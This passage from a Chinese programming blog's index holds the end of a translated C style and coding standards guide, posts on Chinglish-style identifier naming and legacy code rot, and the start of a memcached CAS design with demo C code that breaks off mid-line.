%s\u0026rdquo;,(string)))\n…\nFOO(filename);\n只是在有些时候会扩展为\n(printf(\u0026ldquo;filename = %s\u0026rdquo;,(filename)))\n小心。诡异的预处理器在一些机器上可能导致宏异常中断。下面是一个宏的两种不同实现版本：\n#define LOOKUP(chr) (a[\u0026lsquo;c\u0026rsquo;+(chr)]) /* Works as intended. */\n#define LOOKUP(c) (a[\u0026lsquo;c\u0026rsquo;+(c)]) /* Sometimes breaks. */\n第二个版本的LOOKUP可能以两种不同的方式扩展，并且会导致代码异常中断。\n* 熟悉现有的库函数和定义(但不用太熟悉。与其外部接口相反，库基础设施的内部细节常会改变并且没有警告，这些细节常常也是不可移植的)。你不应该再自己重 新编写字符串比较例程、终端控制例程或为系统结构编写你自己的定义。自己动手实现既浪费你的时间，又使得你的代码可读性变差，因为另外一个读者需 要知道你是否在新的实现中做了什么特殊的事情，并尝试证实它们的存在。同时这样做会使得你无法充分利用一些辅助的微代码或其他有助于提高系统例程 性能的方法。更进一步，它将是一个bug的高产源头。如果可能的话，要知道公共库之间的差异(如ANSI、POSIX等等)。\n* 如果lint可用，请使用lint。这个工具对于查找代码中机器相关的构造、其他不一致性以及顺利通过编译器检查的程序bug时具有很高价值。如果你的编 译器具备打开警告的开关，请打开它。\n* 质疑在代码块内部的与代码块外部switch或goto有关联的标签(Label)。\n无论类型在哪里，参数都应该被转换为适当的类型。当NULL用在没有原型的函数调用时，请对NULL进行转换。不要让函数调用成为类型欺骗发生的地方。C 语言的类型提升规则很是让人费解，所以尽量小心。例如，如果一个函数接受一个32位长的长整型做为参数，但实际传入的却是一个16位长的整型数， 函数栈可能会无法对齐，这个值也可能会被错误提升。\n* 在混用有符号和无符号值的算术计算时请使用显式类型转换\n* 应该谨慎使用跨程序的goto、longjmp。很多实现\u0026quot;忘记\u0026quot;恢复寄存器中的值了。尽可能将关键的值声明为volatile，或将它们注释为 VOLATILE。\n* 一些链接器将名字转换为小写，并且一些链接器只识别前六个字母作为唯一标识。在这些系统上程序可能会悄悄地中断运行。\n* 当心编译器扩展。如果使用了编译器扩展，请将他们视为机器依赖并用文档记录下来。\n* 通常程序无法在数据段执行代码或者无法将数据写入代码段。即使程序可以这么做，也无法保证这么做是可靠的。\n17. 标准C\n现代C编译器支持一些或全部的ANSI提议的标准C。无论何时可能的话，尽量用标准C编写和运行程序，并且使用诸如函数原型，常量存储以及 volatile(易失性)存储等特性。标准C通过给优化器提供有有效的信息以提升程序的性能。标准C通过保证所有编译器接受同样的输入语言以及提供相关 机制隐藏机器相关内容或对于那些机器相关代码提供警告的方式提升代码的可移植性。\n17.1 兼容性\n编写很容易移植到老编译器上的代码。例如，有条件地在global.h中定义一些新(标准中的)关键字，比如const和volatile。标准编译器预 定义了预处理器符号STDC(见脚注8)。void类型很难简单地处理正确，因为很多老编译器只理解void，但不认识void。最简单的方法就是定义一 个新类型VOIDP(与机器和编译器相关)，通常在老编译器下该类型被定义为char*。\n#if __STDC__\ntypedef void *voidp;\n# define COMPILER_SELECTED\n#endif\n#ifdef A_TARGET\n# define const\n# define volatile\n# define void int\ntypedef char *voidp;\n# define COMPILER_SELECTED\n#endif\n#ifdef …\n…\n#endif\n#ifdef COMPILER_SELECTED\n# undef COMPILER_SELECTED\n#else\n{ NO TARGET SELECTED! }\n#endif\n注意在ANSI C中，#必须是同一行中预处理器指示符的第一个非空白字符。在一些老编译器中，它必须是同一行中的第一个字符。\n当一个静态函数具有前置声明时，前置声明必须包含存储修饰符。在一些老编译器中，这个修饰符必须是\u0026quot;extern\u0026quot;。对于ANSI编译器，这个存储修饰符 必须为static，但全局函数依然必须声明为extern。因此，静态函数的前置声明应该使用一个#define，例如FWD_STATIC，并通 过#ifdef适当定义。\n一个\u0026quot;#ifdef NAME\u0026quot;应该要么以\u0026quot;#endif\u0026quot;结尾，要么以\u0026quot;#endif / NAME /结尾，不应该用\u0026quot;#endif NAME\u0026quot;结尾。对于短小的#ifdef不应该使用注释，因为通过代码我们可以明确其含义。\nANSI的三字符组可能导致内容包含??的字符串的程序神秘的中断。\n17.2 格式化\nANSI C的代码风格与常规C一样，但有两点意外：存储修饰符(storage qualifiers)和参数列表。\n由于const和volatile的绑定规则很奇怪，因此每个const或volatile对象都应该单独声明。\nint const *s; /* YES */\nint const *s, *t; /* NO */\n具备原型的函数将参数声明和定义归并在一个参数列表中了。应该在函数的注释中提供各个参数的注释。\n/*\n* `bp\u0026rsquo;: boat trying to get in.\n* `stall\u0026rsquo;: a list of stalls, never NULL.\n* returns stall number, 0 =\u0026gt; no room.\n*/\nint\nenter_pier (boat_t const *bp, stall_t *stall)\n{\n…\n17.3 原型\n应该使用函数原型使得代码更加健壮并且运行时性能更好。不幸地是原型的声明\nextern void bork (char c);\n与定义不兼容。\nvoid\nbork (c)\nchar c;\n…\n原型中c应该以机器上最自然的类型传入，很可能是一个字节。而非原型化(向后兼容)的定义暗示c总是以一个整型传入。如果一个函数具有可类型提升的参数， 那么调用者和被调用者必须以相等地方式编译。要么都必须使用函数原型，要么都不使用原型。如果在程序设计时参数就是可以提升类型的，那么问题就可以被避 免，例如bork可以定义成接受一个整型参数。\n如果定义也是原型化的，上面的声明将工作正常。\nvoid\nbork (char c)\n{\n…\n不幸地是，原型化的语法将导致非ANSI编译器拒绝这个程序。\n但我们可以很容易地通过编写外部声明来同时适应原型与老编译器。\n#if __STDC__\n# define PROTO(x) x\n#else\n# define PROTO(x) ()\n#endif\nextern char **ncopies PROTO((char *s, short times));\n注意PROTO必须使用双层括号。\n最后，最好只使用一种风格编写代码(例如，使用原型)。当需要非原型化的版本时，可使用一个自动转换工具生成。\n17.4 Pragmas\nPragmas用于以一种可控的方式引入机器相关的代码。很显然，pragma应该被视为机器相关的。不幸地是，ANSI pragmas的语法使得我们无法将其隔离到机器相关的头文件中了。\nPragmas分为两类。优化相关的可以被安全地忽略。而那些影响系统行为(需要pragmas)的Pragmas则不能忽略。需要的pragmas应该结合#ifdef使用，这样如果一个pragma都没有选到，编译过程将退出。\n两个编译器可能通过两个不同的方式使用同一个给定的pragma。例如，一个编译器可能使用haggis发出一个优化信号。而另一个可能使用它暗示一个特 定语句，一旦执行到此，程序应该退出。不过，一旦使用了pragma，它们必须总是被机器相关的#ifdef包围。对于非ANSI编译器，Pragmas 必须总是被#ifdef。确保对#pragma的#进行缩进，否则一些较老的预处理器处理它时会挂起。\n#if defined(__STDC__) \u0026amp;\u0026amp; defined(USE_HAGGIS_PRAGMA)\n#pragma (HAGGIS)\n#endif\n\u0026ldquo;ANSI标准中描述的\u0026rsquo;#pragma\u0026rsquo;命令具有任意实现定义的影响。在GNU C预处理中，\u0026rsquo;#pragma\u0026rsquo;首先尝试运行游戏\u0026rsquo;rogue\u0026rsquo;；如果失败，它将尝试运行游戏\u0026rsquo;hack\u0026rsquo;；如果失败，它将尝试运行GNU Emacs显示汉诺塔；如果失败，它将报告一个致命错误。无论如何，预处理将不再继续。\u0026rdquo;\n— GNU CC 1.34 C预处理手册。\n18. 特殊考虑\n这节包含一些杂项：‘做\u0026rsquo;与\u0026rsquo;不做\u0026rsquo;。\n* 不要通过宏替换来改变语法。这将导致程序对于所有人都是难以理解的，除了那个肇事者。\n* 不要在需要离散值的地方使用浮点变量。使用一个浮点数作为循环计数器无疑是搬起石头砸自己的脚。总是用\u0026lt;=或\u0026gt;=测试浮点数，对它们永远不要 用精确比较(==或!=)。\n* 编译器也有bug。常见且高发的问题包括结构体赋值和位字段。你无法泛泛的预测一个编译器都有哪些bug。但你可以在程序中避免使用那些已知的在所有编译 器上都存在问题的结构。你无法让你写的任何代码都是有用的，你可能仍然会遇到bug，并且在这期间编译器很可能会被修复。因此，只有当你被强制使 用某个特定的充斥bug的编译器时，你才应该\u0026quot;围绕\u0026quot;着编译器bug写代码。\n* 不要依赖自动代码美化工具。良好代码风格的主要受益者就是代码的编写者，并且尤其在手写算法或伪代码的早期设计阶段。自动代码美化工具只应该用在那些已经 完成、语法正确并且此后不能满足当空白和缩进被更为关注的要求时。伴随着对细致程序员的细节的关注，对于那些将函数或文件布局解释清楚的工作，程 序员们会做得更好(换句话说，一些视觉布局是由意图而不是语法决定的，美化工具无法了解到程序员的思想)。粗心的程序员应该学习成为一个细致的程 序员，而不是依赖美化工具让代码可读性更好。\n* 意外地遗漏逻辑比较表达式中的第二个=是一个常犯的问题。使用显式测试。避免对赋值使用隐式测试。\nabool = bbool;\nif (abool) { …\n当嵌入的赋值表达式使用时，确保测试是显式的，这样后续它就无法被\u0026quot;修复\u0026quot;了。\nwhile ((abool = bbool) != FALSE) { …\nwhile (abool = bbool) { … /* VALUSED */\nwhile (abool = bbool, abool) { …\n显式地注释那些在正常控制流之外被修改的变量，或其他可能在维护过程中中断的代码。\n现代编译器会自动将变量放到寄存器中。对于你认为最关键的变量慎用寄存器。在极端情况下，用寄存器标记2-4个最为关键的值，并且将剩余的标记为 REGISTER。后者在那些具有较多寄存器的机器上可以#define为寄存器。\n19. Lint\nLint是一个C程序检查工具，用于检查C语言源码文件，探测和报告诸如类型不兼容、函数定义与调用不一致以及潜在的bug等情况。强烈建议在所 有程序上使用lint工具，并且期望大多数工程将lint作为官方验收程序的一部分。\n应该注意的是使用lint的最好方法不是将lint作为官方验收之前的一道必须跨过的栅栏，而是作为一个在代码发生添加或变更之后使用的工具。 Lint可以发现一些隐藏的bug并且可以在问题发生前保证程序的可移植性。lint产生的许多信息确实暗示了一些事情是错误的。一个有意思的故 事是关于一个漏掉了fprintf的一个参数的程序：\nfprintf (\u0026ldquo;Usage: foo -bar \\n\u0026rdquo;);\n作者从未有过一个问题。但每当一个正常用户在命令行上犯错，这个程序就会产生一个core。许多版本的lint工具都能发现这个问题。\n大多lint选项都值得我们学习。一些选项可能在合法的代码上给出警告，但它们也会捕捉到许多把事情搞遭的代码。注意\u0026rsquo;–p\u0026rsquo;只能为库的一个子 集检查函数调用和类型的一致性，因此程序为了最大化的覆盖检查，应该同时进行带–p和不带–p的lint检查。\nLint也可以识别代码里的一些特殊注释。这些注释可以强制让lint在发现问题时关闭警告输出，还可以作为一些特殊代码的文档。\n20. Make\n另外一个非常有用的工具是make。在开发过程中，make只会重新编译那些上次make后发生了改变的模块。它也可以用于自动化其他任务。一些 常见的约定包括：\nall\n执行所有二进制文件的构建过程\nclean\n删除所有中间文件\ndebug\n构建一个测试用二进制文件a.out或debug\ndepend\n制作可传递的依赖关系\ninstall\n安装二进制文件，库等\ndeinstall\n取消安装\nmkcat\n安装手册\nlint\n运行lint工具\nprint/list\n制作一个所有源文件的拷贝\nshar\n为所有源文件制作一个shar文件\nspotless\n执行make clean，并将源码存入版本控制工具。注意：不会删除Makefile，即便它是一个源文件。\nsource\n撤销spotless所做的事情。\ntags\n运行ctags(建议使用-t标志)\nrdist\n分发源码到其他主机\nfile.c\n从版本控制系统中检出这个文件\n除此之外，通过命令行也可以定义Makefile使用的值(如\u0026quot;CFLAGS\u0026quot;)或源码中使用的值(如\u0026quot;DEBUG\u0026quot;)。\n21. 工程相关的标准\n除了这里提到内容外，每个独立的工程都期望能建立附加标准。下面是每个工程程序管理组需要考虑的问题中的一部分：\n* 哪些额外的命名约定需要遵守？尤其是，那些用于全局数据的功能归类以及结构体或联合体成员名字的系统化的前缀约定非常有用。\n* 什么样的头文件组织适合于工程特定的数据体系结构？\n* 应该建立什么样的规程来审核lint警告？需要确立一个与lint选项一致的宽容度，保证lint不会针对一些不重要的问题给出警告，但同时保证真正的bug或不一致问题不被隐藏。\n* 如果一个工程建立了自己的档案库，它应该计划向系统管理员提供一个lint库文件。这个lint库文件允许lint工具检查对库函数的兼容性使用。\n* 需要使用哪种版本控制工具？\n22. 结论\n这里描述了一套C语言编程风格的标准。其中最重要的几点是：\n* 合理使用空白和注释，使得我们通过代码布局就可以清楚地看出程序的结构。使用简单表达式、语句和函数，使他们可以很容易地被理解。\n* 记住，在将来某个时候你或其他人很可能会被要求修改代码或让代码运行在一台不同的机器上。精心编写代码，使得其可以移植到尚不确定的机器上。局部化你的优化，因为这些优化经常让人困惑，并且对于该优化措施是否适合其他机器我们持悲观态度。\n* 许多风格选择是主观武断的。保持代码风格一致比遵循这些绝对的风格规则更重要(尤其是与组织内部标准保持一致)。混用风格比任何一种糟糕的风格都更加糟糕。\n无论采用哪种标准，如果认为该标准有用就必须遵循它。如果你觉得遵循某条标准时有困难，不要仅仅忽略它们，而是在和你当地的大师或组织内的有经验的程序员讨论后再做决定。\n23. 参考资料\nB.A. Tague, C Language Portability, Sept 22, 1977. This document issued by department 8234 contains three memos by R.C. Haight, A.L. Glasser, and T.L. Lyon dealing with style and portability.\nS.C. Johnson, Lint, a C Program Checker, Unix Supplementary Documents, November 1986.\nR.W. Mitze, The 3B/PDP-11 Swabbing Problem, Memorandum for File, 1273-770907.01MF, September 14, 1977.\nR.A. Elliott and D.C. Pfeffer, 3B Processor Common Diagnostic Standards- Version 1, Memorandum for File, 5514-780330.01MF, March 30, 1978.\nR.W. Mitze, An Overview of C Compilation of Unix User Processes on the 3B, Memorandum for File, 5521-780329.02MF, March 29, 1978.\nB.W. Kernighan and D.M. Ritchie, The C Programming Language, Prentice Hall 1978, Second Ed. 1988, ISBN 0-13-110362-8.\nS.I. Feldman, Make — A Program for Maintaining Computer Programs, UNIXSupplementary Documents, November 1986.\nIan Darwin and Geoff Collyer, Can\u0026rsquo;t Happen or / NOTREACHED / or Real Programs Dump Core, USENIX Association Winter Conference, Dallas 1985\nProceedings.\nBrian W. Kernighan and P. J. Plauger The Elements of Programming Style. McGraw-Hill, 1974, Second Ed. 1978, ISBN 0-07-034-207-5.\nJ. E. Lapin Portable C and UNIX System Programming, Prentice Hall 1987, ISBN 0-13-686494-5.\nIan F. Darwin, Checking C Programs with lint, O\u0026rsquo;Reilly \u0026amp; Associates, 1989. ISBN 0-937175-30-7.\nAndrew R. Koenig, C Traps and Pitfalls, Addison-Wesley, 1989. ISBN 0-201-17928-8.\n","permalink":"https://tonybai.com/2013/11/26/the-full-text-of-recommended-c-style-and-coding-standards/","summary":"\u003cp\u003e今天无意中打开了托管在Google Code上的“\u003ca href=\"http://code.google.com/p/recommended-c-style-and-coding-standards-cn/\"\u003eRecommended C Style and Coding Standards\u003c/a\u003e”翻译项目，忽感觉通过目录链接的方式查看译文缺少整体感，于是花了点时间将译文全文以single page的形式贴在博客里面，方便大家查看，也算是对该翻译内容的一个备份吧。\u003c/p\u003e","title":"Recommended C Style and Coding Standards中文版全文"},{"content":"近期博客访问量提高了不少，分析了下原因，发现是有几篇近期写的文章被某个好心网友提交到dbanotes的Startup News上了。与此同时，一些反馈也随之而来。从反馈来看，《那些代码中的“中国式”命名》一文似乎受到了更多的关注，或许是文章标题比较容易引起好奇的 缘故吧。但文章的本意仅是想阐述一些事实罢了，并没有“哗众取宠”的意思。网友的观点也促使我重新对“中国式”命名做了反思。\n* “中国式”命名的普遍性\n我曾天真地希望该问题只是我们项目中的个例，但现实是“沮丧”的。看到评论中几个网友都反馈“中枪”，说明该命名方式似乎是普遍存在于中华大地程 序员们的代码库中的。\n中国式命名归跟结底是文化差异性和表达方式的问题，就和Chinglish一样。由于中式词汇、语法结构已经成为了我们的潜意识一部分，存在与大 脑的核心层，每当 我们要命名或表达一个事物时，大多数人首先在大脑中展现的是这个事物的中文拼写方式、中文语法的结构，其次才可能是英文的（对于第一外语是英语的人），如 果想不出正确的英文名并且懒得去求 谷哥，那么该事物在程序代码中就很可能以“中国式”的命名而存在着。\n* 不是所有Chinglish都是English\n在再次谈“中国式”命名之前，我们先要搞清楚：“不是所有Chinglish都是English”。\nChinglish刚出现的时候，标准英语的支持者认为Chinglish是垃圾，是错误的表达，无法被接受，对其进行抨击。但万事万物都有一个 接受的过程。今天来看，越来越多的选词达意准确的Chinglish词汇以及表达方式正在被国人接受甚至被以英语为母语的人所接受而成为 English，比如近年来的热词：geilivable（给力），再比如很早之前就接受的\u0026quot;long time no see\u0026quot;等。\n作为人类的优秀语言，无论是英文还是中文，都具有很强的开放性和包容性。随着时代的变迁，新生事物的出现，词汇与表达方式都是在语言间相互渗透， 相互补充的。比如随着近些年中国航天事业的迅猛发展，尤其是神舟飞船的多次成功发射，标准英语中接纳了“中国宇航员”这个词 汇：taikonaut；再比如很可能于明年被收录到牛津英语词典中的”Tuhao(土豪)”、 “Dama(大妈)”和“Hukou(户口)”等。而近些年来，一些外词的音译中文词汇也被加入汉语词典了，比如博客 （blog)、粉丝(fans)等。\n但不是所有Chinglish都可以被接受而成为English的。Chinglish是良莠不齐的，那些完全错误的、让人啼笑皆非的词汇和表达 方式现在不会被接受，以后也是不会被接受的。比如下面这两个典型的错误：\n杯子 – Cup son\n开水房 – Open Water House\n* 用Chinglish != \u0026ldquo;中国式\u0026quot;命名\n既然“中国式”命名是普遍存在的，那是否是合理的呢？在上一篇文章中，我个人将其归类为bad smell一类，现在的观点依旧如此。\n有人不禁要问：既然有些中国式英语(Chinglish)都能被老外所接受，那“中国式”命名为何不可呢？\n我的答案如下：在代码中使用已经被老外接受了的Chinglish词汇，实际上与使用地道英文词汇本质上是相同的，算不上“中国式”命名；这里的 “中国式”命名仅针对我在上一篇文章中提到的那些命名方式，当然包括那些并未被广泛接受的Chinglish词汇和使用方法。\n* 对\u0026quot;中国式\u0026quot;命名的态度\n网友观点：“认真你就痛苦了”。\n我倒不是这么想的。既然我们认为命名在编码过程是重要的、困难的，我们就更是要认真对待，在这方面我们有些时候真得较较真儿。我想这也是专业性的 一种体现。\n* 到底该如何做？\n一句话：尽可能用English（编程界主流文化在欧美，主流语言是英语，这才是根本原因），包括那些广泛接受的Chinglish。纯自造的 “词汇”，比如网友评论中提到的left_kuohao这种中英结合词还是不写为好。\n如果有一天中文编程语言成为编程界的主流，那中国程序员也就不用在命名上纠结了。\n","permalink":"https://tonybai.com/2013/11/22/those-chinese-style-naming-in-code-again/","summary":"\u003cp\u003e近期博客访问量提高了不少，分析了下原因，发现是有几篇近期写的文章被某个好心网友提交到\u003ca href=\"http://dbanotes.net/\"\u003edbanotes\u003c/a\u003e的\u003ca href=\"http://news.dbanotes.net/\"\u003eStartup News\u003c/a\u003e上了。与此同时，一些反馈也随之而来。从反馈来看，《\u003ca href=\"http://tonybai.com/2013/11/06/those-chinese-style-naming-in-code/\"\u003e那些代码中的“中国式”命名\u003c/a\u003e》一文似乎受到了更多的关注，或许是文章标题比较容易引起好奇的 缘故吧。但文章的本意仅是想阐述一些事实罢了，并没有“哗众取宠”的意思。网友的观点也促使我重新对“中国式”命名做了反思。\u003c/p\u003e","title":"再谈那些代码中的“中国式”命名"},{"content":"新三年，旧三年，修修补补又三年。\n— 中国俗语。\n上面的这句俗语用来形容很多遗留软件系统(legacy software system)的现状是再合适不过了。\n今天下午做了一下午的代码评审，对象是一个运行了7年的遗留系统。会上除了几处明显的代码逻辑错误我发言指了出来外，涉及业务流程以及代码设计的问题，我 大多保持沉默。因为我清楚，即便我明确指出问题，可能也得不到修正。也许参与评审代码的其他同事也都知晓这些问题，只是觉得现在还不能去改…。\n为何不能去改？回想当年第一版代码出炉时，它是那么的“出淤泥而不染”，而如今它身材臃肿，满身赘肉，千疮百孔，让人无处下手，看起来都不舒服。虽然它依旧能坚持工作，但终会有一天，它会轰然倒地，酿成大错。为何代码会腐化到如此地步？是怎么腐化的？这里谈几点体会。\n* 第一版的设计和实现水准\n我们知道：设计再完美的系统也终会有腐化的一天，时间才是最可怕的武器，它是一把无情的刻刀，不仅能使人老去，逻辑抽象世界的程序也不能幸免。但是你的程 序设计和实现的越完美，这个衰老和腐化的周期就会越长。一个糟糕的初始设计和实现，只会让系统更早的发霉、腐败直至被替换。我们的这个legecy系统在 最初的代码设计上就给后人留下了许多“糟糕的参照物”，在后人无以伦比的“复制粘贴”的技能下，这些糟糕的设计和实现就像癌细胞一样扩散到系统机体的每个 角落，让你无法重新建立其免疫系统。\n* 没有测试做保障，不敢改\n系统从诞生的那天起就使用“人肉测试”的方式，而且是粗粒度的系统功能测试。没有白盒的、可重复使用的、自动执行的单元测试集做保障，以致没有人敢对其轻举妄动，一旦出了问题，后果自负。另外人肉测试，精力和成本双重消耗，测试人员“耗”不起啊。\n* 缺少崇尚“美”的文化\n记得组织第一版企业文化中“美”这个成分还有立足之地的，但后期改版后，我们就再也看不到“美”了。码农们也是一样，在缺少了“俱美”之风的吹拂下，大家 都变得有些“丑陋”了，大家都开始摒弃“美”，认为代码只要能工作即可，美不美不打紧，于是工作就变成了修修补补，系统变得日益臃肿，臭气熏天。\n* 进度之忧高悬\n很多人会说：“如果给我充足的时间，我会让系统获得新生。但我没有时间，客户那边催的急，只能下次再重构、完善和优化了吧”。从这里不知大家是否看出了：“改善是没有的，下次却是永恒的”这一“道理”。在进度堪忧的情况下，我们多数时候选择了屈服，而不是自己的原则。\n* 成本，老板们不得不面对的\n“能用即可，新三年，旧三年，修修补补又三年”。如果你和老板谈重构、谈优化，那么这句话就是老板最好的拖词儿。成本永远是悬在老板头上的一把宝剑，老板们不能视而不见。因此，如果你要和老板谈重写遗留系统，那得需要多么强大的魄力和坚定的意志啊。\n* 拷贝粘贴，最好的伙伴 or 最大的敌人\n相信发明复制、粘贴以及剪切板的那位仁兄无论如何也没有想到，自己送给世界的礼物，竟然被码农们操练的如此熟练，应用在各种场合，尤其是Coding中。代码中充斥着大量重复代码信息，都是拷贝、复制和粘贴的结果，于是乎代码腐败的最大敌人就此出现了。\n牢记：“千里大堤，溃于蝼蚁”。下一步该怎么办？去闻闻，你的代码腐化了没有！\n","permalink":"https://tonybai.com/2013/11/12/how-code-corrupt/","summary":"\u003cp\u003e\u003cem\u003e新三年，旧三年，修修补补又三年。\u003cbr\u003e\n                                                             — 中国俗语。\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e上面的这句俗语用来形容很多\u003ca href=\"http://en.wikipedia.org/wiki/Legacy_system%E2%80%8E\"\u003e遗留软件系统\u003c/a\u003e(legacy software system)的现状是再合适不过了。\u003c/p\u003e\n\u003cp\u003e今天下午做了一下午的\u003ca href=\"http://tonybai.com/2013/07/08/code-review-from-rule-of-man-to-rule-of-law/\"\u003e代码评审\u003c/a\u003e，对象是一个运行了7年的遗留系统。会上除了几处明显的代码逻辑错误我发言指了出来外，涉及业务流程以及代码设计的问题，我 大多保持沉默。因为我清楚，即便我明确指出问题，可能也得不到修正。也许参与评审代码的其他同事也都知晓这些问题，只是觉得现在还不能去改…。\u003c/p\u003e","title":"代码是怎么腐化的"},{"content":"10月中旬，有人在Quora网站上发起一个调查：“程序员职业生涯中最难的事是什么？”，调查结果让人实感意外。世界范围内的程序员同胞们普遍认为： “命名是让大家感觉最困难的事情”。对于主流的欧美程序员尚且如此，对于英文非母语的中国程序员来说，苦逼程度可想而知了:(。\n虽说中国程序员大多也都学了10年以上的英语了，但能“地道”的表达和书写甚至是选词的程序员们比例却不高。而在编写程序的过程中，给变量、常量以及函数命名即意味着我们要选择恰当地道的词汇或缩写。\n事实证明，任何事情经过中国人民的加工，就会呈现出意想不到的效果，于是我们有了Chinglish，有了“中国式”的命名。就此，我特地花了些时间翻阅了下面几个项目组的源码，总结出了一些“中国式”命名的门道，这里也说道说道^_^。\n一、万能的动词\n通过阅读代码中的一些命名，我发现了代码中经常出现的一些动词堪称“万能”，这些动词包括：handle、do、process、check、collect等。无论对象是什么，你只要像如下这么命名，中国程序员基本都能看懂或猜个八九不离十：\nprocess_xx 处理xx\ndo_yy 做yy\nhandle_zz 处理zz\ncheck_xx 检查/校验xx\ncollect_xx 收集xx\n二、标志/类型代言人\n在项目源码文件中，你会变量声明或结果体声明中看到太多的xx_flag或xx_type。xx_flag被大家“公认为”各种标志的代言人了；xx_type也好不到哪去。\nroute_flag\nprotocol_flag\nmsg_flag\nsession_flag\nmsg_type\ncheck_type\ncommand_type\nsession_type\n三、字面意直译式\n比如我们要声明两个变量，一个的意思是“是否打开消息过滤”，另外一个“是否关闭消息过滤”。对于中国人来说，打开/关闭最直接对应的就是open/close，于是就有了这样的变量命名：\nis_message_filter_open\nis_message_filter_close\n其实一般认为更地道的方式应该是：\nis_message_filter_on\nis_message_filter_off\n再举个例子，我们的系统要处理一种中文名为“长短信”的对象，于是直译过来就是：long_sms。但其真正的英文术语应该是Concatenated SMS。\n四、中文拼音式\n在国内做行业解决方案，不可避免会遇到各种领域词汇，比如我们处理的一种业务称为农信通。估计是开发人员没能找到其对应的英文翻译，于是乎用上了我们的看家本领 – 拼音。\nnxt_url 农信通地址\n这样的例子是否似曾相识呢！\n五、单词“选秀”\n采用这种方式的程序员应该是更具“责任心”的，至少他/她知道去查查英文词典^_^。\n于是乎有了dispense_message、cache_overstock等变量命名。显然他是在字典的单词选秀中随意找到一个“顺眼”的、意思还算相近的单词就挑了出来。显然dispatch 、overflow要比dispense、overstock更地道和准确。\n六、尾声\n以上的“实例”确是从我们项目的代码中“挖掘”出来的，希望只是个案。面对这样的命名bad smell，我们是否有解决方法呢？没有捷径，语言的感觉是要一点点的去找的，个人觉得一个最行之有效的方法就是去看那些英语地道的程序员编写的代码，留 意他们是如何命名的。比如看一些著名欧美程序员的开源项目代码。另外对于行业特定领域，尽量用经过认可的英文翻译结果来命名。\n不可否认，英语是编程领域的主流语言，包括中文在内的以其他语言为编码语言的编程语言十分罕见。对于欧美程序员来说，这是天然的优势；而对于其他非欧美国家的程序员，尤其是中国程序员来说，在走向“地道”的路上还要付出很多才行。\n","permalink":"https://tonybai.com/2013/11/06/those-chinese-style-naming-in-code/","summary":"\u003cp\u003e10月中旬，有人在\u003ca href=\"https://www.quora.com/\"\u003eQuora\u003c/a\u003e网站上发起一个调查：“\u003ca href=\"https://www.quora.com/Software-Engineering/What-is-the-hardest-thing-you-do-as-a-software-engineer\"\u003e程序员职业生涯中最难的事是什么？\u003c/a\u003e”，调查结果让人实感意外。世界范围内的程序员同胞们普遍认为： “命名是让大家感觉最困难的事情”。对于主流的欧美程序员尚且如此，对于英文非母语的中国程序员来说，苦逼程度可想而知了:(。\u003c/p\u003e\n\u003cp\u003e虽说中国程序员大多也都学了10年以上的英语了，但能“地道”的表达和书写甚至是选词的程序员们比例却不高。而在编写程序的过程中，给变量、常量以及函数命名即意味着我们要选择恰当地道的词汇或缩写。\u003c/p\u003e","title":"那些代码中的“中国式”命名"},{"content":"近期收到客户一个需求，我将该需求转述为下面这个等价的问题。\n【问题】\n* 有一个产品包装系统_S_，为某种产品_P_提供产品包装服务;\n* 系统_S_由若干个处理节点组成，每个节点都可以单独处理组件;\n* 产品_P_的一个可出厂的成品由包装盒+N个产品组件组成，包装盒与产品组件上都贴有一个标签，该标签上包含该成品的唯一编号ID（一定时间范围内有效）、每个组件自己的序号(unit-num)以及成品的组件总个数(unit-total)。每个成品只有一个包装盒，该包装盒的组件序号为0。其中unit-num \u0026lt;= unit_total == N \u0026lt;= 32;\n* 某个成品的诸多组件是乱序到达_S_并由_S_送到产品包装工位的；当系统_S_第一次接收到一个成品的某个组件时，_S_会将一个包装盒贴上该组件对应的成品ID，并将其放在传送带上，传送给对应的组装工位；当系统_S_接收到同一成品的其他组件时，不再重新发放包装盒了；\n* 系统_S_具有剔除冗余组件的功能，如果某个成品的某个组件（序号为n）已经被S接收并送到指定包装位，后续若再出现同一成品的相同序号组件（可能是因为标签贴错导致），_S_将会将该冗余组件剔除出包装线;\n* 当某个成品的最后一个组件被_S_处理后，该成品的ID即告无效了，可以被后续成品重复使用了。\n【解决思路】\n这个问题中有几个关键功能点：\n* 每个成品只分配一个包装盒；\n* 支持剔重；\n* 当最后一个组件被处理后，成品ID被从系统中删除，可被后续成品重复使用。\n这是一个典型的多个节点并发操作的一致性问题，我们初步考虑基于开源的Memcached的CAS服务去解决该问题，解决思路如下：\na) _S_系统中的某个节点收到某成品的某个组件(unit_num = n)后，以ID为Key尝试获取成品的Value(以及item_cas值)；如果索引尚未在系统建立，那么创建索引，以ID为Key，Value为一整型字符串，初值为1\u0026laquo;(n-1)；并分配包装盒；\nb) 如果以成品ID为Key的索引已经建立，系统节点将组件的(1\u0026laquo;n)与Value进行“与操作”以判断该组件是否为重复组件，如果为1，则为重复组件；否则以(Value + 1 \u0026laquo; (n-1))的值以及获得的item_cas发起cas操作；\nc) 如果cas操作成功，则数一下((Value + 1 \u0026laquo; (n-1)) 中置位（=1）的bit个数，如果个数==unit-total，则删除索引；否则继续处理下一个组件；\n如果cas操作失败，则回到步骤a)。\n【Demo代码】\n/* pack_sys.c */\n… …\n#include \u0026lt;libmemcached/memcached.h\u0026gt;\nstatic const char *product_id = \u0026ldquo;nexus5\u0026rdquo;;\nstatic const int component_in_total = 5;\nstatic const int component_order[] = {2, 3, 1, 2, 5, 4};\n//code from \u0026lt;Algorithms.for.Programmers.Ideas.and.Source.Code\u0026gt;\nstatic inline unsigned long long\nbit_count(unsigned long long x)\n{\nx = (0x5555555555555555UL \u0026amp; x) + (0x5555555555555555UL \u0026amp; (x \u0026raquo; 1));\nx = (0x3333333333333333UL \u0026amp; x) + (0x3333333333333333UL \u0026amp; (x \u0026raquo; 2));\nx = (0x0f0f0f0f0f0f0f0fUL \u0026amp; x) + (0x0f0f0f0f0f0f0f0fUL \u0026amp; (x \u0026raquo; 4));\nx = (0x00ff00ff00ff00ffUL \u0026amp; x) + (0x00ff00ff00ff00ffUL \u0026amp; (x \u0026raquo; 8));\nx = (0x0000ffff0000ffffUL \u0026amp; x) + (0x0000ffff0000ffffUL \u0026amp; (x \u0026raquo; 16));\nx = (0x00000000ffffffffUL \u0026amp; x) + (0x00000000ffffffffUL \u0026amp; (x \u0026raquo; 32));\nreturn x;\n}\nint\nmain(int argc, char *argv[])\n{\nmemcached_st *memc;\nmemcached_return_t rc = MEMCACHED_SUCCESS;\nmemcached_server_st *server = NULL;\nmemc = 